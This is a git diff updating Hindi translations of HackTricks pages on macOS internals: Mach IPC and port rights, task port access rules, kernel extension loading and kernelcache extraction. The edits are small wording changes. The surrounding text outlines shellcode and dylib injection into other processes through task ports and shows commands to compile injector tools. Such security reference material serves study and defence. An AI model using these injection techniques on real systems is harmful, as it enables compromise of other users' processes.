diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index 945715a36..34e5314b0 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -12,7 +12,7 @@ XNU का ओपन-सोर्स संस्करण: [https://opensource. ### Mach -Mach एक **माइक्रोकर्नेल** है जिसे **UNIX-संगत** होने के लिए डिज़ाइन किया गया है। इसके प्रमुख डिज़ाइन सिद्धांतों में से एक था **कर्नेल** स्थान में चलने वाले **कोड** की मात्रा को **कम करना** और इसके बजाय कई सामान्य कर्नेल कार्यों, जैसे फ़ाइल प्रणाली, नेटवर्किंग, और I/O, को **उपयोगकर्ता-स्तरीय कार्यों के रूप में चलाने** की अनुमति देना। +Mach एक **माइक्रोकर्नेल** है जिसे **UNIX-संगत** होने के लिए डिज़ाइन किया गया है। इसके प्रमुख डिज़ाइन सिद्धांतों में से एक था **कर्नेल** स्थान में चलने वाले **कोड** की मात्रा को **कम करना** और इसके बजाय कई सामान्य कर्नेल कार्यों, जैसे फ़ाइल प्रणाली, नेटवर्किंग, और I/O को **उपयोगकर्ता-स्तरीय कार्यों के रूप में चलाने** की अनुमति देना। XNU में, Mach **कर्नेल द्वारा सामान्यतः संभाले जाने वाले कई महत्वपूर्ण निम्न-स्तरीय संचालन** के लिए **जिम्मेदार** है, जैसे प्रोसेसर शेड्यूलिंग, मल्टीटास्किंग, और वर्चुअल मेमोरी प्रबंधन। @@ -27,7 +27,7 @@ XNU **कर्नेल** में **FreeBSD** प्रोजेक्ट स - TCP/IP स्टैक और सॉकेट - फ़ायरवॉल और पैकेट फ़िल्टरिंग -BSD और Mach के बीच बातचीत को समझना जटिल हो सकता है, उनके विभिन्न वैचारिक ढांचे के कारण। उदाहरण के लिए, BSD प्रक्रियाओं का उपयोग अपने मौलिक निष्पादन इकाई के रूप में करता है, जबकि Mach थ्रेड के आधार पर कार्य करता है। इस विसंगति को XNU में **प्रत्येक BSD प्रक्रिया को एक Mach कार्य से जोड़कर** सुलझाया गया है जिसमें ठीक एक Mach थ्रेड होता है। जब BSD का fork() सिस्टम कॉल उपयोग किया जाता है, तो कर्नेल के भीतर BSD कोड एक कार्य और थ्रेड संरचना बनाने के लिए Mach कार्यों का उपयोग करता है। +BSD और Mach के बीच बातचीत को समझना जटिल हो सकता है, उनके विभिन्न वैचारिक ढांचे के कारण। उदाहरण के लिए, BSD प्रक्रियाओं का उपयोग अपने मौलिक निष्पादन इकाई के रूप में करता है, जबकि Mach थ्रेड के आधार पर कार्य करता है। इस विसंगति को XNU में **प्रत्येक BSD प्रक्रिया को एक Mach कार्य के साथ जोड़कर** सुलझाया गया है जिसमें ठीक एक Mach थ्रेड होता है। जब BSD का fork() सिस्टम कॉल उपयोग किया जाता है, तो कर्नेल के भीतर BSD कोड एक कार्य और एक थ्रेड संरचना बनाने के लिए Mach कार्यों का उपयोग करता है। इसके अलावा, **Mach और BSD प्रत्येक अलग-अलग सुरक्षा मॉडल बनाए रखते हैं**: **Mach का** सुरक्षा मॉडल **पोर्ट अधिकारों** पर आधारित है, जबकि BSD का सुरक्षा मॉडल **प्रक्रिया स्वामित्व** के आधार पर कार्य करता है। इन दोनों मॉडलों के बीच के भिन्नताएँ कभी-कभी स्थानीय विशेषाधिकार-उन्नयन कमजोरियों का परिणाम बनती हैं। सामान्य सिस्टम कॉल के अलावा, **Mach ट्रैप भी हैं जो उपयोगकर्ता-स्थान कार्यक्रमों को कर्नेल के साथ बातचीत करने की अनुमति देते हैं**। ये विभिन्न तत्व मिलकर macOS कर्नेल की बहुपरकारी, हाइब्रिड आर्किटेक्चर का निर्माण करते हैं। @@ -49,7 +49,7 @@ macos-iokit.md macOS **कर्नेल एक्सटेंशन** (.kext) लोड करने के लिए **अत्यधिक प्रतिबंधात्मक** है क्योंकि कोड उच्च विशेषाधिकार के साथ चलेगा। वास्तव में, डिफ़ॉल्ट रूप से यह लगभग असंभव है (जब तक कि कोई बायपास नहीं पाया जाता)। -अगली पृष्ठ पर आप यह भी देख सकते हैं कि macOS अपने **कर्नेलकैश** के भीतर लोड किए गए `.kext` को कैसे पुनर्प्राप्त किया जाए: +अगली पृष्ठ पर आप यह भी देख सकते हैं कि macOS अपने **कर्नेलकैश** के भीतर `.kext` को कैसे पुनर्प्राप्त करता है: {{#ref}} macos-kernel-extensions.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index a7234aef9..1822f3c4f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -2,15 +2,15 @@ {{#include ../../../../banners/hacktricks-training.md}} -## मच संदेश भेजना पोर्ट के माध्यम से +## मच संदेश भेजना पोर्ट्स के माध्यम से ### बुनियादी जानकारी मच **कार्य** को संसाधनों को साझा करने के लिए **सबसे छोटे इकाई** के रूप में उपयोग करता है, और प्रत्येक कार्य में **कई थ्रेड** हो सकते हैं। ये **कार्य और थ्रेड POSIX प्रक्रियाओं और थ्रेड्स के लिए 1:1 मैप किए जाते हैं**। -कार्य के बीच संचार मच इंटर-प्रोसेस संचार (IPC) के माध्यम से होता है, जो एकतरफा संचार चैनलों का उपयोग करता है। **संदेश पोर्ट के बीच स्थानांतरित होते हैं**, जो **कर्नेल द्वारा प्रबंधित संदेश कतारों** के रूप में कार्य करते हैं। +कार्य के बीच संचार मच इंटर-प्रोसेस संचार (IPC) के माध्यम से होता है, जो एकतरफा संचार चैनलों का उपयोग करता है। **संदेश पोर्ट्स के बीच स्थानांतरित होते हैं**, जो **कर्नेल द्वारा प्रबंधित संदेश कतारों** के रूप में कार्य करते हैं। -प्रत्येक प्रक्रिया में एक **IPC तालिका** होती है, जिसमें प्रक्रिया के **मच पोर्ट** पाए जा सकते हैं। एक मच पोर्ट का नाम वास्तव में एक संख्या है (कर्नेल ऑब्जेक्ट के लिए एक पॉइंटर)। +प्रत्येक प्रक्रिया में एक **IPC तालिका** होती है, जिसमें प्रक्रिया के **मच पोर्ट्स** को खोजना संभव है। एक मच पोर्ट का नाम वास्तव में एक संख्या है (कर्नेल ऑब्जेक्ट के लिए एक पॉइंटर)। एक प्रक्रिया किसी अन्य कार्य को कुछ अधिकारों के साथ एक पोर्ट नाम भी भेज सकती है और कर्नेल इस प्रविष्टि को **दूसरे कार्य की IPC तालिका** में प्रदर्शित करेगा। @@ -18,19 +18,19 @@ पोर्ट अधिकार, जो यह परिभाषित करते हैं कि एक कार्य कौन से संचालन कर सकता है, इस संचार के लिए कुंजी हैं। संभावित **पोर्ट अधिकार** हैं ([यहां से परिभाषाएँ](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): -- **प्राप्ति अधिकार**, जो पोर्ट पर भेजे गए संदेशों को प्राप्त करने की अनुमति देता है। मच पोर्ट MPSC (कई उत्पादक, एक उपभोक्ता) कतारें हैं, जिसका अर्थ है कि पूरे सिस्टम में **प्रत्येक पोर्ट के लिए केवल एक प्राप्ति अधिकार** हो सकता है (पाइप के विपरीत, जहां कई प्रक्रियाएं एक पाइप के पढ़ने के अंत के लिए फ़ाइल वर्णनकर्ता रख सकती हैं)। -- **प्राप्ति** अधिकार वाला एक कार्य संदेश प्राप्त कर सकता है और **भेजने के अधिकार** बना सकता है, जिससे यह संदेश भेजने में सक्षम हो जाता है। मूल रूप से केवल **स्वयं का कार्य अपने पोर्ट पर प्राप्ति अधिकार रखता है**। +- **प्राप्ति अधिकार**, जो पोर्ट पर भेजे गए संदेशों को प्राप्त करने की अनुमति देता है। मच पोर्ट्स MPSC (कई उत्पादक, एक उपभोक्ता) कतारें हैं, जिसका अर्थ है कि पूरे सिस्टम में **प्रत्येक पोर्ट के लिए केवल एक प्राप्ति अधिकार** हो सकता है (पाइप के विपरीत, जहां कई प्रक्रियाएं एक पाइप के पढ़ने के अंत के लिए फ़ाइल वर्णनकर्ता रख सकती हैं)। +- **प्राप्ति** अधिकार वाला एक कार्य संदेश प्राप्त कर सकता है और **भेजने के अधिकार** बना सकता है, जिससे इसे संदेश भेजने की अनुमति मिलती है। मूल रूप से केवल **स्वयं का कार्य अपने पोर्ट पर प्राप्ति अधिकार रखता है**। - **भेजने का अधिकार**, जो पोर्ट पर संदेश भेजने की अनुमति देता है। - भेजने का अधिकार **क्लोन** किया जा सकता है ताकि एक कार्य जो भेजने का अधिकार रखता है, अधिकार को क्लोन कर सके और **इसे तीसरे कार्य को सौंप सके**। - **एक बार भेजने का अधिकार**, जो पोर्ट पर एक संदेश भेजने की अनुमति देता है और फिर गायब हो जाता है। -- **पोर्ट सेट अधिकार**, जो एक _पोर्ट सेट_ को दर्शाता है न कि एकल पोर्ट। एक पोर्ट सेट से संदेश को डीक्यू करने का अर्थ है कि यह उस पोर्ट में से एक संदेश को डीक्यू करता है जो इसे शामिल करता है। पोर्ट सेट का उपयोग एक साथ कई पोर्ट पर सुनने के लिए किया जा सकता है, जैसे कि Unix में `select`/`poll`/`epoll`/`kqueue`। -- **मृत नाम**, जो वास्तव में एक पोर्ट अधिकार नहीं है, बल्कि केवल एक प्लेसहोल्डर है। जब एक पोर्ट नष्ट होता है, तो पोर्ट के लिए सभी मौजूदा पोर्ट अधिकार मृत नामों में बदल जाते हैं। +- **पोर्ट सेट अधिकार**, जो एक _पोर्ट सेट_ को दर्शाता है न कि एकल पोर्ट। एक पोर्ट सेट से संदेश को डीक्यू करने का अर्थ है कि यह उस पोर्ट में से एक संदेश को डीक्यू करता है जिसे यह शामिल करता है। पोर्ट सेट का उपयोग एक साथ कई पोर्ट पर सुनने के लिए किया जा सकता है, जैसे कि Unix में `select`/`poll`/`epoll`/`kqueue`। +- **मृत नाम**, जो वास्तव में एक वास्तविक पोर्ट अधिकार नहीं है, बल्कि केवल एक प्लेसहोल्डर है। जब एक पोर्ट नष्ट होता है, तो पोर्ट के लिए सभी मौजूदा पोर्ट अधिकार मृत नामों में बदल जाते हैं। -**कार्य SEND अधिकारों को दूसरों को स्थानांतरित कर सकते हैं**, जिससे उन्हें संदेश वापस भेजने की अनुमति मिलती है। **SEND अधिकारों को भी क्लोन किया जा सकता है, इसलिए एक कार्य डुप्लिकेट कर सकता है और तीसरे कार्य को अधिकार दे सकता है**। यह, एक मध्यवर्ती प्रक्रिया के साथ मिलकर जिसे **बूटस्ट्रैप सर्वर** कहा जाता है, कार्यों के बीच प्रभावी संचार की अनुमति देता है। +**कार्य SEND अधिकारों को दूसरों को स्थानांतरित कर सकते हैं**, जिससे उन्हें संदेश वापस भेजने की अनुमति मिलती है। **SEND अधिकारों को भी क्लोन किया जा सकता है, ताकि एक कार्य डुप्लिकेट कर सके और तीसरे कार्य को अधिकार दे सके**। यह, एक मध्यवर्ती प्रक्रिया के साथ मिलकर जिसे **बूटस्ट्रैप सर्वर** के रूप में जाना जाता है, कार्यों के बीच प्रभावी संचार की अनुमति देता है। -### फ़ाइल पोर्ट +### फ़ाइल पोर्ट्स -फ़ाइल पोर्ट मैक पोर्ट्स में फ़ाइल वर्णनकर्ताओं को संलग्न करने की अनुमति देते हैं (मच पोर्ट अधिकारों का उपयोग करते हुए)। एक दिए गए FD से `fileport_makeport` का उपयोग करके एक `fileport` बनाना संभव है और एक fileport से FD बनाने के लिए `fileport_makefd` का उपयोग करना संभव है। +फ़ाइल पोर्ट्स मैक पोर्ट्स में फ़ाइल वर्णनकर्ताओं को संलग्न करने की अनुमति देते हैं (मच पोर्ट अधिकारों का उपयोग करते हुए)। एक दिए गए FD से `fileport_makeport` का उपयोग करके एक `fileport` बनाना संभव है और एक fileport से FD बनाने के लिए `fileport_makefd` का उपयोग करना संभव है। ### संचार स्थापित करना @@ -55,9 +55,9 @@ - **launchd** जांचता है कि कार्य चल रहा है और यदि नहीं है, तो **इसे शुरू करता है**। - कार्य **A** (सेवा) एक **बूटस्ट्रैप चेक-इन** करता है। यहां, **बूटस्ट्रैप** सर्वर एक SEND अधिकार बनाता है, इसे रखता है, और **प्राप्ति अधिकार कार्य A को स्थानांतरित करता है**। - launchd **SEND अधिकार को डुप्लिकेट करता है और इसे कार्य B को भेजता है**। -- कार्य **B** एक नए पोर्ट के साथ एक **प्राप्ति** अधिकार और एक **भेजने** का अधिकार उत्पन्न करता है, और **भेजने का अधिकार कार्य A (सेवा) को देता है** ताकि वह कार्य B को संदेश भेज सके (द्विदिशीय संचार)। +- कार्य **B** एक नए पोर्ट के साथ एक **प्राप्ति** अधिकार और एक **भेजने** का अधिकार उत्पन्न करता है, और **भेजने का अधिकार कार्य A** (सेवा) को देता है ताकि वह कार्य B को संदेश भेज सके (द्विदिशीय संचार)। -हालांकि, यह प्रक्रिया केवल पूर्वनिर्धारित सिस्टम कार्यों पर लागू होती है। गैर-प्रणाली कार्य अभी भी मूल रूप से वर्णित तरीके से कार्य करते हैं, जो संभावित रूप से अनुकरण की अनुमति दे सकता है। +हालांकि, यह प्रक्रिया केवल पूर्वनिर्धारित सिस्टम कार्यों पर लागू होती है। गैर-सिस्टम कार्य अभी भी मूल रूप से वर्णित तरीके से कार्य करते हैं, जो संभावित रूप से अनुकरण की अनुमति दे सकता है। ### एक मच संदेश @@ -84,7 +84,7 @@ mach_msg_id_t msgh_id; संदेश हेडर के अन्य क्षेत्र हैं: - `msgh_size`: पूरे पैकेट का आकार। -- `msgh_remote_port`: वह पोर्ट जिस पर यह संदेश भेजा जाता है। +- `msgh_remote_port`: वह पोर्ट जिस पर यह संदेश भेजा गया है। - `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html)। - `msgh_id`: इस संदेश की ID, जिसे रिसीवर द्वारा व्याख्यायित किया जाता है। @@ -230,11 +230,11 @@ printf("Sent a message\n"); - **होस्ट पोर्ट**: यदि किसी प्रक्रिया के पास इस पोर्ट पर **भेजने** का विशेषाधिकार है, तो वह **सिस्टम** के बारे में **जानकारी** प्राप्त कर सकता है (जैसे `host_processor_info`)। - **होस्ट प्रिव पोर्ट**: इस पोर्ट पर **भेजने** का अधिकार रखने वाली प्रक्रिया **विशेषाधिकार प्राप्त क्रियाएँ** कर सकती है जैसे कि कर्नेल एक्सटेंशन लोड करना। इस अनुमति को प्राप्त करने के लिए **प्रक्रिया को रूट होना चाहिए**। - इसके अलावा, **`kext_request`** API को कॉल करने के लिए अन्य अधिकारों की आवश्यकता होती है **`com.apple.private.kext*`** जो केवल Apple बाइनरी को दिए जाते हैं। -- **कार्य नाम पोर्ट:** _कार्य पोर्ट_ का एक अप्रिवileged संस्करण। यह कार्य को संदर्भित करता है, लेकिन इसे नियंत्रित करने की अनुमति नहीं देता। इसके माध्यम से उपलब्ध एकमात्र चीज `task_info()` प्रतीत होती है। +- **कार्य नाम पोर्ट:** _कार्य पोर्ट_ का एक अप्रिविलेज्ड संस्करण। यह कार्य को संदर्भित करता है, लेकिन इसे नियंत्रित करने की अनुमति नहीं देता। इसके माध्यम से उपलब्ध एकमात्र चीज `task_info()` प्रतीत होती है। - **कार्य पोर्ट** (जिसे कर्नेल पोर्ट भी कहा जाता है): इस पोर्ट पर भेजने की अनुमति के साथ कार्य को नियंत्रित करना संभव है (मेमोरी पढ़ना/लिखना, थ्रेड बनाना...)। - कॉल करें `mach_task_self()` इस पोर्ट के लिए **नाम प्राप्त करने** के लिए कॉलर कार्य के लिए। यह पोर्ट केवल **`exec()`** के माध्यम से **विरासत में** मिलता है; `fork()` के साथ बनाए गए नए कार्य को एक नया कार्य पोर्ट मिलता है (एक विशेष मामले के रूप में, एक कार्य को `exec()` के बाद एक suid बाइनरी में भी एक नया कार्य पोर्ट मिलता है)। एक कार्य को उत्पन्न करने और इसके पोर्ट को प्राप्त करने का एकमात्र तरीका ["पोर्ट स्वैप डांस"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) करना है जबकि `fork()` कर रहे हैं। - पोर्ट तक पहुँचने के लिए ये प्रतिबंध हैं (बाइनरी `AppleMobileFileIntegrity` से `macos_task_policy`): -- यदि ऐप के पास **`com.apple.security.get-task-allow` विशेषाधिकार** है, तो **समान उपयोगकर्ता की प्रक्रियाएँ कार्य पोर्ट तक पहुँच सकती हैं** (आमतौर पर डिबगिंग के लिए Xcode द्वारा जोड़ा जाता है)। **नोटरीकरण** प्रक्रिया इसे उत्पादन रिलीज़ में अनुमति नहीं देगी। +- यदि ऐप के पास **`com.apple.security.get-task-allow` विशेषाधिकार** है, तो **समान उपयोगकर्ता की प्रक्रियाएँ कार्य पोर्ट** तक पहुँच सकती हैं (आमतौर पर डिबगिंग के लिए Xcode द्वारा जोड़ा जाता है)। **नोटरीकरण** प्रक्रिया इसे उत्पादन रिलीज़ में अनुमति नहीं देगी। - **`com.apple.system-task-ports`** विशेषाधिकार वाले ऐप्स किसी भी प्रक्रिया के लिए **कार्य पोर्ट प्राप्त कर सकते हैं**, सिवाय कर्नेल के। पुराने संस्करणों में इसे **`task_for_pid-allow`** कहा जाता था। यह केवल Apple अनुप्रयोगों को दिया जाता है। - **रूट उन अनुप्रयोगों के कार्य पोर्ट तक पहुँच सकता है** जो **हर्डनड** रनटाइम के साथ संकलित नहीं हैं (और Apple से नहीं हैं)। @@ -498,11 +498,11 @@ return 0; gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ./inject ``` -### थ्रेड में टास्क पोर्ट के माध्यम से Dylib इंजेक्शन +### थ्रेड में टास्क पोर्ट के माध्यम से डायलिब इंजेक्शन macOS में **थ्रेड्स** को **Mach** के माध्यम से या **posix `pthread` api** का उपयोग करके नियंत्रित किया जा सकता है। पिछले इंजेक्शन में जो थ्रेड हमने उत्पन्न किया, वह Mach api का उपयोग करके उत्पन्न किया गया था, इसलिए **यह posix अनुपालन नहीं है**। -एक **सरल शेलकोड** को एक कमांड निष्पादित करने के लिए **इंजेक्ट करना संभव था** क्योंकि इसे **posix** अनुपालन वाले apis के साथ काम करने की आवश्यकता नहीं थी, केवल Mach के साथ। **अधिक जटिल इंजेक्शन** के लिए **थ्रेड** को भी **posix अनुपालन** होना चाहिए। +एक **सरल शेलकोड** को एक कमांड निष्पादित करने के लिए **इंजेक्ट** करना संभव था क्योंकि इसे **posix** अनुपालन वाले apis के साथ काम करने की आवश्यकता नहीं थी, केवल Mach के साथ। **अधिक जटिल इंजेक्शन** के लिए **थ्रेड** को भी **posix अनुपालन** होना चाहिए। इसलिए, **थ्रेड को सुधारने** के लिए इसे **`pthread_create_from_mach_thread`** को कॉल करना चाहिए जो **एक मान्य pthread** बनाएगा। फिर, यह नया pthread **dlopen** को कॉल कर सकता है ताकि **सिस्टम से एक dylib** लोड किया जा सके, इसलिए विभिन्न क्रियाओं को करने के लिए नए शेलकोड लिखने के बजाय कस्टम लाइब्रेरीज़ लोड करना संभव है। @@ -802,7 +802,7 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ### बुनियादी जानकारी -XPC, जिसका अर्थ है XNU (macOS द्वारा उपयोग किया जाने वाला कर्नेल) इंटर-प्रोसेस कम्युनिकेशन, macOS और iOS पर **प्रक्रियाओं के बीच संचार** के लिए एक ढांचा है। XPC विभिन्न प्रक्रियाओं के बीच **सुरक्षित, असिंक्रोनस मेथड कॉल करने** के लिए एक तंत्र प्रदान करता है। यह एप्पल के सुरक्षा सिद्धांत का एक हिस्सा है, जो **विशेषाधिकार-सेपरेटेड एप्लिकेशन** के निर्माण की अनुमति देता है जहाँ प्रत्येक **घटक** केवल **उन अनुमतियों** के साथ चलता है जो इसे अपना काम करने के लिए आवश्यक हैं, इस प्रकार एक समझौता की गई प्रक्रिया से संभावित नुकसान को सीमित करता है। +XPC, जिसका अर्थ है XNU (macOS द्वारा उपयोग किया जाने वाला कर्नेल) इंटर-प्रोसेस कम्युनिकेशन, macOS और iOS पर **प्रक्रियाओं के बीच संचार** के लिए एक ढांचा है। XPC **सुरक्षित, असिंक्रोनस मेथड कॉल्स** करने के लिए एक तंत्र प्रदान करता है जो सिस्टम पर विभिन्न प्रक्रियाओं के बीच होता है। यह एप्पल के सुरक्षा सिद्धांत का एक हिस्सा है, जो **विशेषाधिकार-सेपरेटेड एप्लिकेशन्स** के निर्माण की अनुमति देता है जहाँ प्रत्येक **घटक** केवल **उन्हीं अनुमतियों** के साथ चलता है जिनकी उसे अपने कार्य को करने के लिए आवश्यकता होती है, इस प्रकार एक समझौता की गई प्रक्रिया से संभावित नुकसान को सीमित करता है। इस **संचार के काम करने के तरीके** और यह **कैसे कमजोर हो सकता है** के बारे में अधिक जानकारी के लिए देखें: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index 0b7dbad21..6edf6b6b0 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -4,19 +4,19 @@ ## Basic Information -Kernel extensions (Kexts) **पैकेज** हैं जिनका **`.kext`** एक्सटेंशन होता है जो **macOS कर्नेल स्पेस में सीधे लोड** किए जाते हैं, मुख्य ऑपरेटिंग सिस्टम को अतिरिक्त कार्यक्षमता प्रदान करते हैं। +Kernel extensions (Kexts) **पैकेज** हैं जिनका **`.kext`** एक्सटेंशन होता है जो **सीधे macOS कर्नेल स्पेस में लोड** होते हैं, मुख्य ऑपरेटिंग सिस्टम को अतिरिक्त कार्यक्षमता प्रदान करते हैं। ### Requirements -स्पष्ट रूप से, यह इतना शक्तिशाली है कि **कर्नेल एक्सटेंशन लोड करना जटिल है**। ये **आवश्यकताएँ** हैं जो एक कर्नेल एक्सटेंशन को लोड करने के लिए पूरी करनी चाहिए: +स्पष्ट रूप से, यह इतना शक्तिशाली है कि **कर्नेल एक्सटेंशन लोड करना जटिल है**। ये हैं **आवश्यकताएँ** जो एक कर्नेल एक्सटेंशन को लोड करने के लिए पूरी करनी चाहिए: - जब **रिकवरी मोड में प्रवेश करते हैं**, कर्नेल **एक्सटेंशन को लोड करने की अनुमति होनी चाहिए**:
-- कर्नेल एक्सटेंशन को **कर्नेल कोड साइनिंग सर्टिफिकेट** के साथ **साइन** किया जाना चाहिए, जो केवल **Apple द्वारा दिया जा सकता है**। जो कंपनी और इसकी आवश्यकता के कारणों की विस्तार से समीक्षा करेगा। +- कर्नेल एक्सटेंशन को **कर्नेल कोड साइनिंग सर्टिफिकेट** के साथ **साइन** किया जाना चाहिए, जिसे केवल **Apple** द्वारा **प्रदान** किया जा सकता है। जो कंपनी और इसके आवश्यक होने के कारणों की विस्तार से समीक्षा करेगा। - कर्नेल एक्सटेंशन को **नोटराइज** भी किया जाना चाहिए, Apple इसे मैलवेयर के लिए जांच सकेगा। -- फिर, **रूट** उपयोगकर्ता ही **कर्नेल एक्सटेंशन को लोड** कर सकता है और पैकेज के अंदर की फ़ाइलें **रूट की होनी चाहिए**। +- फिर, **रूट** उपयोगकर्ता ही **कर्नेल एक्सटेंशन को लोड** कर सकता है और पैकेज के अंदर की फ़ाइलें **रूट** की होनी चाहिए। - अपलोड प्रक्रिया के दौरान, पैकेज को **संरक्षित नॉन-रूट स्थान** में तैयार किया जाना चाहिए: `/Library/StagedExtensions` (इसके लिए `com.apple.rootless.storage.KernelExtensionManagement` ग्रांट की आवश्यकता होती है)। - अंत में, जब इसे लोड करने का प्रयास किया जाता है, तो उपयोगकर्ता [**एक पुष्टि अनुरोध प्राप्त करेगा**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) और, यदि स्वीकार किया गया, तो कंप्यूटर को इसे लोड करने के लिए **रीस्टार्ट** करना होगा। @@ -30,7 +30,7 @@ Kernel extensions (Kexts) **पैकेज** हैं जिनका **`.kext - यह **`syspolicyd`** से **जांच** करेगा कि क्या एक्सटेंशन को **लोड** किया जा सकता है। 3. **`syspolicyd`** उपयोगकर्ता को **प्रॉम्प्ट** करेगा यदि एक्सटेंशन पहले लोड नहीं किया गया है। - **`syspolicyd`** परिणाम को **`kextd`** को रिपोर्ट करेगा -4. अंततः **`kextd`** कर्नेल को एक्सटेंशन लोड करने के लिए **बताने** में सक्षम होगा +4. अंततः **`kextd`** कर्नेल को एक्सटेंशन को लोड करने के लिए **बताने** में सक्षम होगा यदि **`kextd`** उपलब्ध नहीं है, तो **`kextutil`** वही जांच कर सकता है। @@ -58,7 +58,7 @@ iOS में यह **`/System/Library/Caches/com.apple.kernelcaches/kernelcach #### IMG4 -IMG4 फ़ाइल प्रारूप एक कंटेनर प्रारूप है जिसका उपयोग Apple अपने iOS और macOS उपकरणों में **फर्मवेयर** घटकों (जैसे **कर्नेलकैश**) को सुरक्षित रूप से **स्टोर और सत्यापित** करने के लिए करता है। IMG4 प्रारूप में एक हेडर और कई टैग शामिल होते हैं जो विभिन्न डेटा के टुकड़ों को संलग्न करते हैं, जिसमें वास्तविक पेलोड (जैसे कर्नेल या बूटलोडर), एक हस्ताक्षर, और एक सेट मैनिफेस्ट प्रॉपर्टीज शामिल हैं। यह प्रारूप क्रिप्टोग्राफिक सत्यापन का समर्थन करता है, जिससे डिवाइस फर्मवेयर घटक की प्रामाणिकता और अखंडता की पुष्टि कर सकता है इससे पहले कि इसे निष्पादित किया जाए। +IMG4 फ़ाइल प्रारूप एक कंटेनर प्रारूप है जिसका उपयोग Apple अपने iOS और macOS उपकरणों में **फर्मवेयर** घटकों (जैसे **कर्नेलकैश**) को सुरक्षित रूप से **स्टोर और सत्यापित** करने के लिए करता है। IMG4 प्रारूप में एक हेडर और कई टैग होते हैं जो विभिन्न डेटा के टुकड़ों को संलग्न करते हैं, जिसमें वास्तविक पेलोड (जैसे कर्नेल या बूटलोडर), एक हस्ताक्षर, और एक सेट मैनिफेस्ट प्रॉपर्टीज शामिल हैं। यह प्रारूप क्रिप्टोग्राफिक सत्यापन का समर्थन करता है, जिससे डिवाइस फर्मवेयर घटक को निष्पादित करने से पहले उसकी प्रामाणिकता और अखंडता की पुष्टि कर सकता है। यह आमतौर पर निम्नलिखित घटकों से बना होता है: @@ -69,7 +69,7 @@ IMG4 फ़ाइल प्रारूप एक कंटेनर प्र - हस्ताक्षर शामिल है - अतिरिक्त कुंजी/मान शब्दकोश - **Restore Info (IM4R)**: -- जिसे APNonce के रूप में भी जाना जाता है +- APNonce के रूप में भी जाना जाता है - कुछ अपडेट के पुनः खेलने से रोकता है - वैकल्पिक: आमतौर पर यह नहीं पाया जाता @@ -93,9 +93,9 @@ nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l ``` - [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/) -कभी-कभी Apple **kernelcache** को **symbols** के साथ जारी करता है। आप उन पृष्ठों पर लिंक का पालन करके कुछ firmware को symbols के साथ डाउनलोड कर सकते हैं। firmware में अन्य फ़ाइलों के साथ **kernelcache** शामिल होगा। +कभी-कभी Apple **kernelcache** को **symbols** के साथ जारी करता है। आप उन पृष्ठों पर लिंक का पालन करके कुछ firmware डाउनलोड कर सकते हैं जिनमें symbols होते हैं। इन firmware में अन्य फ़ाइलों के साथ **kernelcache** शामिल होगा। -फ़ाइलों को **extract** करने के लिए `.ipsw` से `.zip` में एक्सटेंशन बदलकर शुरू करें और **unzip** करें। +फ़ाइलों को **extract** करने के लिए, पहले `.ipsw` से `.zip` में एक्सटेंशन बदलें और फिर **unzip** करें। Firmware को extract करने के बाद आपको एक फ़ाइल मिलेगी जैसे: **`kernelcache.release.iphone14`**। यह **IMG4** प्रारूप में है, आप इसे दिलचस्प जानकारी निकालने के लिए उपयोग कर सकते हैं: @@ -107,9 +107,9 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon ```bash img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` -### Inspecting kernelcache +### कर्नेलकैश का निरीक्षण करना -जांचें कि क्या kernelcache में प्रतीक हैं +जांचें कि क्या कर्नेलकैश में प्रतीक हैं ```bash nm -a kernelcache.release.iphone14.e | wc -l ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md index a5a6cc6ee..dccf042f4 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md @@ -1,22 +1,22 @@ -# macOS सिस्टम एक्सटेंशन +# macOS सिस्टम एक्सटेंशन्स {{#include ../../../banners/hacktricks-training.md}} -## सिस्टम एक्सटेंशन / एंडपॉइंट सुरक्षा ढांचा +## सिस्टम एक्सटेंशन्स / एंडपॉइंट सुरक्षा ढांचा -Kernel Extensions के विपरीत, **सिस्टम एक्सटेंशन उपयोगकर्ता स्थान में चलते हैं** न कि कर्नेल स्थान में, जिससे एक्सटेंशन की खराबी के कारण सिस्टम क्रैश होने का जोखिम कम होता है। +Kernel Extensions के विपरीत, **सिस्टम एक्सटेंशन्स उपयोगकर्ता स्थान में चलती हैं** न कि कर्नेल स्थान में, जिससे एक्सटेंशन की खराबी के कारण सिस्टम क्रैश होने का जोखिम कम होता है।
